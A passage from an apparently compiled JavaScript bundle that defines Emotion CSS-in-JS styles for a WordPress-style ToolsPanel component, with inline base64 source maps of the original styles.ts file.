yOiAkeyBDT0xPUlMuZ3JheVsgNzAwIF0gfTtcblx0XHR9XG5cblx0XHQkeyBSZXNldExhYmVsIH0ge1xuXHRcdFx0b3BhY2l0eTogMC4zO1xuXHRcdH1cblx0fVxuYDtcbiJdfQ== */");
48753 var ToolsPanelHeading = /* @__PURE__ */ css("font-size:inherit;font-weight:", config_values_default.fontWeightMedium, ";line-height:normal;&&{margin:0;}" + (false ? "" : ";label:ToolsPanelHeading;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFxRm9DIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHtcblx0U3R5bGVkRmllbGQgYXMgQmFzZUNvbnRyb2xGaWVsZCxcblx0U3R5bGVkSGVscCBhcyBCYXNlQ29udHJvbEhlbHAsXG5cdFdyYXBwZXIgYXMgQmFzZUNvbnRyb2xXcmFwcGVyLFxufSBmcm9tICcuLi9iYXNlLWNvbnRyb2wvc3R5bGVzL2Jhc2UtY29udHJvbC1zdHlsZXMnO1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuXG5jb25zdCB0b29sc1BhbmVsR3JpZCA9IHtcblx0Y29sdW1uczogKCBjb2x1bW5zOiBudW1iZXIgKSA9PiBjc3NgXG5cdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAkeyBgcmVwZWF0KCAkeyBjb2x1bW5zIH0sIG1pbm1heCgwLCAxZnIpIClgIH07XG5cdGAsXG5cdHNwYWNpbmc6IGNzc2Bcblx0XHRjb2x1bW4tZ2FwOiAkeyBzcGFjZSggNCApIH07XG5cdFx0cm93LWdhcDogJHsgc3BhY2UoIDQgKSB9O1xuXHRgLFxuXHRpdGVtOiB7XG5cdFx0ZnVsbFdpZHRoOiBjc3NgXG5cdFx0XHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXHRcdGAsXG5cdH0sXG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbCA9ICggY29sdW1uczogbnVtYmVyICkgPT4gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5jb2x1bW5zKCBjb2x1bW5zICkgfVxuXHQkeyB0b29sc1BhbmVsR3JpZC5zcGFjaW5nIH1cblxuXHRib3JkZXItdG9wOiAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSBzb2xpZCAkeyBDT0xPUlMuZ3JheVsgMzAwIF0gfTtcblx0bWFyZ2luLXRvcDogLTFweDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuLyoqXG4gKiBJdGVtcyBpbmplY3RlZCBpbnRvIGEgVG9vbHNQYW5lbCB2aWEgYSB2aXJ0dWFsIGJ1YmJsaW5nIHNsb3Qgd2lsbCByZXF1aXJlXG4gKiBhbiBpbm5lciBkb20gZWxlbWVudCB0byBiZSBpbmplY3RlZC4gVGhlIGZvbGxvd2luZyBydWxlIGFsbG93cyBmb3IgdGhlXG4gKiBDU1MgZ3JpZCBkaXNwbGF5IHRvIGJlIHJlLWVzdGFibGlzaGVkLlxuICovXG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsV2l0aElubmVyV3JhcHBlciA9ICggY29sdW1uczogbnVtYmVyICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdD4gZGl2Om5vdCggOmZpcnN0LW9mLXR5cGUgKSB7XG5cdFx0XHRkaXNwbGF5OiBncmlkO1xuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuY29sdW1ucyggY29sdW1ucyApIH1cblx0XHRcdCR7IHRvb2xzUGFuZWxHcmlkLnNwYWNpbmcgfVxuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGlkZGVuSW5uZXJXcmFwcGVyID0gY3NzYFxuXHQ+IGRpdjpub3QoIDpmaXJzdC1vZi10eXBlICkge1xuXHRcdGRpc3BsYXk6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGVhZGVyID0gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5pdGVtLmZ1bGxXaWR0aCB9XG5cdGdhcDogJHsgc3BhY2UoIDIgKSB9O1xuXG5cdC8qKlxuXHQgKiBUaGUgdGFyZ2V0aW5nIG9mIGRyb3Bkb3duIG1lbnUgY29tcG9uZW50IGNsYXNzZXMgaGVyZSBpcyBhIHRlbXBvcmFyeVxuXHQgKiBtZWFzdXJlIG9ubHkuXG5cdCAqXG5cdCAqIFRoZSBmb2xsb3dpbmcgc3R5bGVzIHNob3VsZCBiZSByZXBsYWNlZCBvbmNlIHRoZSBEcm9wZG93bk1lbnUgaGFzIGJlZW5cblx0ICogcmVmYWN0b3JlZCBhbmQgY2FuIGJlIHRhcmdldGVkIHZpYSBjb21wb25lbnQgaW50ZXJwb2xhdGlvbi5cblx0ICovXG5cdC5jb21wb25lbnRzLWRyb3Bkb3duLW1lbnUge1xuXHRcdG1hcmdpbjogJHsgc3BhY2UoIC0xICkgfSAwO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9XG5cdCYmJiYgLmNvbXBvbmVudHMtZHJvcGRvd24tbWVudV9fdG9nZ2xlIHtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdG1pbi13aWR0aDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEhlYWRpbmcgPSBjc3NgXG5cdGZvbnQtc2l6ZTogaW5oZXJpdDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiBub3JtYWw7XG5cblx0LyogUmVxdWlyZWQgdG8gbWVldCBzcGVjaWZpY2l0eSByZXF1aXJlbWVudHMgdG8gZW5zdXJlIHplcm8gbWFyZ2luICovXG5cdCYmIHtcblx0XHRtYXJnaW46IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSXRlbSA9IGNzc2Bcblx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXG5cdC8qIENsZWFyIHNwYWNpbmcgaW4gYW5kIGFyb3VuZCBjb250cm9scyBhZGRlZCBhcyBwYW5lbCBpdGVtcy4gKi9cblx0LyogUmVtb3ZlIHdoZW4gdGhleSBjYW4gYmUgYWRkcmVzc2VkIHZpYSBjb250ZXh0IHN5c3RlbS4gKi9cblx0JiA+IGRpdixcblx0JiA+IGZpZWxkc2V0IHtcblx0XHRwYWRkaW5nLWJvdHRvbTogMDtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0fVxuXG5cdC8qIFJlbW92ZSBCYXNlQ29udHJvbCBjb21wb25lbnRzIG1hcmdpbnMgYW5kIGxlYXZlIHNwYWNpbmcgdG8gZ3JpZCBsYXlvdXQgKi9cblx0JiYgJHsgQmFzZUNvbnRyb2xXcmFwcGVyIH0ge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cblx0XHQvKipcblx0XHQgKiBUbyBtYWludGFpbiBwcm9wZXIgc3BhY2luZyB3aXRoaW4gYSBiYXNlIGNvbnRyb2wsIHRoZSBmaWVsZCdzIGJvdHRvbVxuXHRcdCAqIG1hcmdpbiBzaG91bGQgb25seSBiZSByZW1vdmVkIHdoZW4gdGhlcmUgaXMgbm8gaGVscCB0ZXh0IGluY2x1ZGVkIGFuZFxuXHRcdCAqIGl0IGlzIHRoZXJlZm9yZSB0aGUgbGFzdC1jaGlsZC5cblx0XHQgKi9cblx0XHQkeyBCYXNlQ29udHJvbEZpZWxkIH06bGFzdC1jaGlsZCB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0fVxuXG5cdCR7IEJhc2VDb250cm9sSGVscCB9IHtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEl0ZW1QbGFjZWhvbGRlciA9IGNzc2Bcblx0ZGlzcGxheTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBEcm9wZG93bk1lbnUgPSBjc3NgXG5cdG1pbi13aWR0aDogMjAwcHg7XG5gO1xuXG5leHBvcnQgY29uc3QgUmVzZXRMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudERhcmtlcjEwIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiBzcGFjZSggMyApIH0gKSB9XG5cdHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG5gO1xuXG5leHBvcnQgY29uc3QgRGVmYXVsdENvbnRyb2xzSXRlbSA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXG5cdCYmW2FyaWEtZGlzYWJsZWQ9J3RydWUnXSB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuXHRcdG9wYWNpdHk6IDE7XG5cblx0XHQmOmhvdmVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgNzAwIF0gfTtcblx0XHR9XG5cblx0XHQkeyBSZXNldExhYmVsIH0ge1xuXHRcdFx0b3BhY2l0eTogMC4zO1xuXHRcdH1cblx0fVxuYDtcbiJdfQ== */");
48754 var ToolsPanelItem = /* @__PURE__ */ css(toolsPanelGrid.item.fullWidth, "&>div,&>fieldset{padding-bottom:0;margin-bottom:0;max-width:100%;}&& ", Wrapper, "{margin-bottom:0;", StyledField, ":last-child{margin-bottom:0;}}", StyledHelp, "{margin-bottom:0;}" + (false ? "" : ";label:ToolsPanelItem;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnR2lDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHtcblx0U3R5bGVkRmllbGQgYXMgQmFzZUNvbnRyb2xGaWVsZCxcblx0U3R5bGVkSGVscCBhcyBCYXNlQ29udHJvbEhlbHAsXG5cdFdyYXBwZXIgYXMgQmFzZUNvbnRyb2xXcmFwcGVyLFxufSBmcm9tICcuLi9iYXNlLWNvbnRyb2wvc3R5bGVzL2Jhc2UtY29udHJvbC1zdHlsZXMnO1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuXG5jb25zdCB0b29sc1BhbmVsR3JpZCA9IHtcblx0Y29sdW1uczogKCBjb2x1bW5zOiBudW1iZXIgKSA9PiBjc3NgXG5cdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAkeyBgcmVwZWF0KCAkeyBjb2x1bW5zIH0sIG1pbm1heCgwLCAxZnIpIClgIH07XG5cdGAsXG5cdHNwYWNpbmc6IGNzc2Bcblx0XHRjb2x1bW4tZ2FwOiAkeyBzcGFjZSggNCApIH07XG5cdFx0cm93LWdhcDogJHsgc3BhY2UoIDQgKSB9O1xuXHRgLFxuXHRpdGVtOiB7XG5cdFx0ZnVsbFdpZHRoOiBjc3NgXG5cdFx0XHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXHRcdGAsXG5cdH0sXG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbCA9ICggY29sdW1uczogbnVtYmVyICkgPT4gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5jb2x1bW5zKCBjb2x1bW5zICkgfVxuXHQkeyB0b29sc1BhbmVsR3JpZC5zcGFjaW5nIH1cblxuXHRib3JkZXItdG9wOiAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSBzb2xpZCAkeyBDT0xPUlMuZ3JheVsgMzAwIF0gfTtcblx0bWFyZ2luLXRvcDogLTFweDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuLyoqXG4gKiBJdGVtcyBpbmplY3RlZCBpbnRvIGEgVG9vbHNQYW5lbCB2aWEgYSB2aXJ0dWFsIGJ1YmJsaW5nIHNsb3Qgd2lsbCByZXF1aXJlXG4gKiBhbiBpbm5lciBkb20gZWxlbWVudCB0byBiZSBpbmplY3RlZC4gVGhlIGZvbGxvd2luZyBydWxlIGFsbG93cyBmb3IgdGhlXG4gKiBDU1MgZ3JpZCBkaXNwbGF5IHRvIGJlIHJlLWVzdGFibGlzaGVkLlxuICovXG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsV2l0aElubmVyV3JhcHBlciA9ICggY29sdW1uczogbnVtYmVyICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdD4gZGl2Om5vdCggOmZpcnN0LW9mLXR5cGUgKSB7XG5cdFx0XHRkaXNwbGF5OiBncmlkO1xuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuY29sdW1ucyggY29sdW1ucyApIH1cblx0XHRcdCR7IHRvb2xzUGFuZWxHcmlkLnNwYWNpbmcgfVxuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGlkZGVuSW5uZXJXcmFwcGVyID0gY3NzYFxuXHQ+IGRpdjpub3QoIDpmaXJzdC1vZi10eXBlICkge1xuXHRcdGRpc3BsYXk6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGVhZGVyID0gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5pdGVtLmZ1bGxXaWR0aCB9XG5cdGdhcDogJHsgc3BhY2UoIDIgKSB9O1xuXG5cdC8qKlxuXHQgKiBUaGUgdGFyZ2V0aW5nIG9mIGRyb3Bkb3duIG1lbnUgY29tcG9uZW50IGNsYXNzZXMgaGVyZSBpcyBhIHRlbXBvcmFyeVxuXHQgKiBtZWFzdXJlIG9ubHkuXG5cdCAqXG5cdCAqIFRoZSBmb2xsb3dpbmcgc3R5bGVzIHNob3VsZCBiZSByZXBsYWNlZCBvbmNlIHRoZSBEcm9wZG93bk1lbnUgaGFzIGJlZW5cblx0ICogcmVmYWN0b3JlZCBhbmQgY2FuIGJlIHRhcmdldGVkIHZpYSBjb21wb25lbnQgaW50ZXJwb2xhdGlvbi5cblx0ICovXG5cdC5jb21wb25lbnRzLWRyb3Bkb3duLW1lbnUge1xuXHRcdG1hcmdpbjogJHsgc3BhY2UoIC0xICkgfSAwO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9XG5cdCYmJiYgLmNvbXBvbmVudHMtZHJvcGRvd24tbWVudV9fdG9nZ2xlIHtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdG1pbi13aWR0aDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEhlYWRpbmcgPSBjc3NgXG5cdGZvbnQtc2l6ZTogaW5oZXJpdDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiBub3JtYWw7XG5cblx0LyogUmVxdWlyZWQgdG8gbWVldCBzcGVjaWZpY2l0eSByZXF1aXJlbWVudHMgdG8gZW5zdXJlIHplcm8gbWFyZ2luICovXG5cdCYmIHtcblx0XHRtYXJnaW46IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSXRlbSA9IGNzc2Bcblx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXG5cdC8qIENsZWFyIHNwYWNpbmcgaW4gYW5kIGFyb3VuZCBjb250cm9scyBhZGRlZCBhcyBwYW5lbCBpdGVtcy4gKi9cblx0LyogUmVtb3ZlIHdoZW4gdGhleSBjYW4gYmUgYWRkcmVzc2VkIHZpYSBjb250ZXh0IHN5c3RlbS4gKi9cblx0JiA+IGRpdixcblx0JiA+IGZpZWxkc2V0IHtcblx0XHRwYWRkaW5nLWJvdHRvbTogMDtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0fVxuXG5cdC8qIFJlbW92ZSBCYXNlQ29udHJvbCBjb21wb25lbnRzIG1hcmdpbnMgYW5kIGxlYXZlIHNwYWNpbmcgdG8gZ3JpZCBsYXlvdXQgKi9cblx0JiYgJHsgQmFzZUNvbnRyb2xXcmFwcGVyIH0ge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cblx0XHQvKipcblx0XHQgKiBUbyBtYWludGFpbiBwcm9wZXIgc3BhY2luZyB3aXRoaW4gYSBiYXNlIGNvbnRyb2wsIHRoZSBmaWVsZCdzIGJvdHRvbVxuXHRcdCAqIG1hcmdpbiBzaG91bGQgb25seSBiZSByZW1vdmVkIHdoZW4gdGhlcmUgaXMgbm8gaGVscCB0ZXh0IGluY2x1ZGVkIGFuZFxuXHRcdCAqIGl0IGlzIHRoZXJlZm9yZSB0aGUgbGFzdC1jaGlsZC5cblx0XHQgKi9cblx0XHQkeyBCYXNlQ29udHJvbEZpZWxkIH06bGFzdC1jaGlsZCB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0fVxuXG5cdCR7IEJhc2VDb250cm9sSGVscCB9IHtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEl0ZW1QbGFjZWhvbGRlciA9IGNzc2Bcblx0ZGlzcGxheTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBEcm9wZG93bk1lbnUgPSBjc3NgXG5cdG1pbi13aWR0aDogMjAwcHg7XG5gO1xuXG5leHBvcnQgY29uc3QgUmVzZXRMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudERhcmtlcjEwIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiBzcGFjZSggMyApIH0gKSB9XG5cdHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG5gO1xuXG5leHBvcnQgY29uc3QgRGVmYXVsdENvbnRyb2xzSXRlbSA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXG5cdCYmW2FyaWEtZGlzYWJsZWQ9J3RydWUnXSB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuXHRcdG9wYWNpdHk6IDE7XG5cblx0XHQmOmhvdmVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgNzAwIF0gfTtcblx0XHR9XG5cblx0XHQkeyBSZXNldExhYmVsIH0ge1xuXHRcdFx0b3BhY2l0eTogMC4zO1xuXHRcdH1cblx0fVxuYDtcbiJdfQ== */");
48755 var ToolsPanelItemPlaceholder = false ? {
48756 name: "eivff4",
48757 styles: "display:none"
48758 } : {
48759 name: "16a3kc6-ToolsPanelItemPlaceholder",
48760 styles: "display:none;label:ToolsPanelItemPlaceholder;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUErSDRDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHtcblx0U3R5bGVkRmllbGQgYXMgQmFzZUNvbnRyb2xGaWVsZCxcblx0U3R5bGVkSGVscCBhcyBCYXNlQ29udHJvbEhlbHAsXG5cdFdyYXBwZXIgYXMgQmFzZUNvbnRyb2xXcmFwcGVyLFxufSBmcm9tICcuLi9iYXNlLWNvbnRyb2wvc3R5bGVzL2Jhc2UtY29udHJvbC1zdHlsZXMnO1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuXG5jb25zdCB0b29sc1BhbmVsR3JpZCA9IHtcblx0Y29sdW1uczogKCBjb2x1bW5zOiBudW1iZXIgKSA9PiBjc3NgXG5cdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAkeyBgcmVwZWF0KCAkeyBjb2x1bW5zIH0sIG1pbm1heCgwLCAxZnIpIClgIH07XG5cdGAsXG5cdHNwYWNpbmc6IGNzc2Bcblx0XHRjb2x1bW4tZ2FwOiAkeyBzcGFjZSggNCApIH07XG5cdFx0cm93LWdhcDogJHsgc3BhY2UoIDQgKSB9O1xuXHRgLFxuXHRpdGVtOiB7XG5cdFx0ZnVsbFdpZHRoOiBjc3NgXG5cdFx0XHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXHRcdGAsXG5cdH0sXG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbCA9ICggY29sdW1uczogbnVtYmVyICkgPT4gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5jb2x1bW5zKCBjb2x1bW5zICkgfVxuXHQkeyB0b29sc1BhbmVsR3JpZC5zcGFjaW5nIH1cblxuXHRib3JkZXItdG9wOiAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSBzb2xpZCAkeyBDT0xPUlMuZ3JheVsgMzAwIF0gfTtcblx0bWFyZ2luLXRvcDogLTFweDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuLyoqXG4gKiBJdGVtcyBpbmplY3RlZCBpbnRvIGEgVG9vbHNQYW5lbCB2aWEgYSB2aXJ0dWFsIGJ1YmJsaW5nIHNsb3Qgd2lsbCByZXF1aXJlXG4gKiBhbiBpbm5lciBkb20gZWxlbWVudCB0byBiZSBpbmplY3RlZC4gVGhlIGZvbGxvd2luZyBydWxlIGFsbG93cyBmb3IgdGhlXG4gKiBDU1MgZ3JpZCBkaXNwbGF5IHRvIGJlIHJlLWVzdGFibGlzaGVkLlxuICovXG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsV2l0aElubmVyV3JhcHBlciA9ICggY29sdW1uczogbnVtYmVyICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdD4gZGl2Om5vdCggOmZpcnN0LW9mLXR5cGUgKSB7XG5cdFx0XHRkaXNwbGF5OiBncmlkO1xuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuY29sdW1ucyggY29sdW1ucyApIH1cblx0XHRcdCR7IHRvb2xzUGFuZWxHcmlkLnNwYWNpbmcgfVxuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGlkZGVuSW5uZXJXcmFwcGVyID0gY3NzYFxuXHQ+IGRpdjpub3QoIDpmaXJzdC1vZi10eXBlICkge1xuXHRcdGRpc3BsYXk6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGVhZGVyID0gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5pdGVtLmZ1bGxXaWR0aCB9XG5cdGdhcDogJHsgc3BhY2UoIDIgKSB9O1xuXG5cdC8qKlxuXHQgKiBUaGUgdGFyZ2V0aW5nIG9mIGRyb3Bkb3duIG1lbnUgY29tcG9uZW50IGNsYXNzZXMgaGVyZSBpcyBhIHRlbXBvcmFyeVxuXHQgKiBtZWFzdXJlIG9ubHkuXG5cdCAqXG5cdCAqIFRoZSBmb2xsb3dpbmcgc3R5bGVzIHNob3VsZCBiZSByZXBsYWNlZCBvbmNlIHRoZSBEcm9wZG93bk1lbnUgaGFzIGJlZW5cblx0ICogcmVmYWN0b3JlZCBhbmQgY2FuIGJlIHRhcmdldGVkIHZpYSBjb21wb25lbnQgaW50ZXJwb2xhdGlvbi5cblx0ICovXG5cdC5jb21wb25lbnRzLWRyb3Bkb3duLW1lbnUge1xuXHRcdG1hcmdpbjogJHsgc3BhY2UoIC0xICkgfSAwO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9XG5cdCYmJiYgLmNvbXBvbmVudHMtZHJvcGRvd24tbWVudV9fdG9nZ2xlIHtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdG1pbi13aWR0aDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEhlYWRpbmcgPSBjc3NgXG5cdGZvbnQtc2l6ZTogaW5oZXJpdDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiBub3JtYWw7XG5cblx0LyogUmVxdWlyZWQgdG8gbWVldCBzcGVjaWZpY2l0eSByZXF1aXJlbWVudHMgdG8gZW5zdXJlIHplcm8gbWFyZ2luICovXG5cdCYmIHtcblx0XHRtYXJnaW46IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSXRlbSA9IGNzc2Bcblx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXG5cdC8qIENsZWFyIHNwYWNpbmcgaW4gYW5kIGFyb3VuZCBjb250cm9scyBhZGRlZCBhcyBwYW5lbCBpdGVtcy4gKi9cblx0LyogUmVtb3ZlIHdoZW4gdGhleSBjYW4gYmUgYWRkcmVzc2VkIHZpYSBjb250ZXh0IHN5c3RlbS4gKi9cblx0JiA+IGRpdixcblx0JiA+IGZpZWxkc2V0IHtcblx0XHRwYWRkaW5nLWJvdHRvbTogMDtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0fVxuXG5cdC8qIFJlbW92ZSBCYXNlQ29udHJvbCBjb21wb25lbnRzIG1hcmdpbnMgYW5kIGxlYXZlIHNwYWNpbmcgdG8gZ3JpZCBsYXlvdXQgKi9cblx0JiYgJHsgQmFzZUNvbnRyb2xXcmFwcGVyIH0ge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cblx0XHQvKipcblx0XHQgKiBUbyBtYWludGFpbiBwcm9wZXIgc3BhY2luZyB3aXRoaW4gYSBiYXNlIGNvbnRyb2wsIHRoZSBmaWVsZCdzIGJvdHRvbVxuXHRcdCAqIG1hcmdpbiBzaG91bGQgb25seSBiZSByZW1vdmVkIHdoZW4gdGhlcmUgaXMgbm8gaGVscCB0ZXh0IGluY2x1ZGVkIGFuZFxuXHRcdCAqIGl0IGlzIHRoZXJlZm9yZSB0aGUgbGFzdC1jaGlsZC5cblx0XHQgKi9cblx0XHQkeyBCYXNlQ29udHJvbEZpZWxkIH06bGFzdC1jaGlsZCB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0fVxuXG5cdCR7IEJhc2VDb250cm9sSGVscCB9IHtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHR9XG5gO1xuXG5leHBvcnQ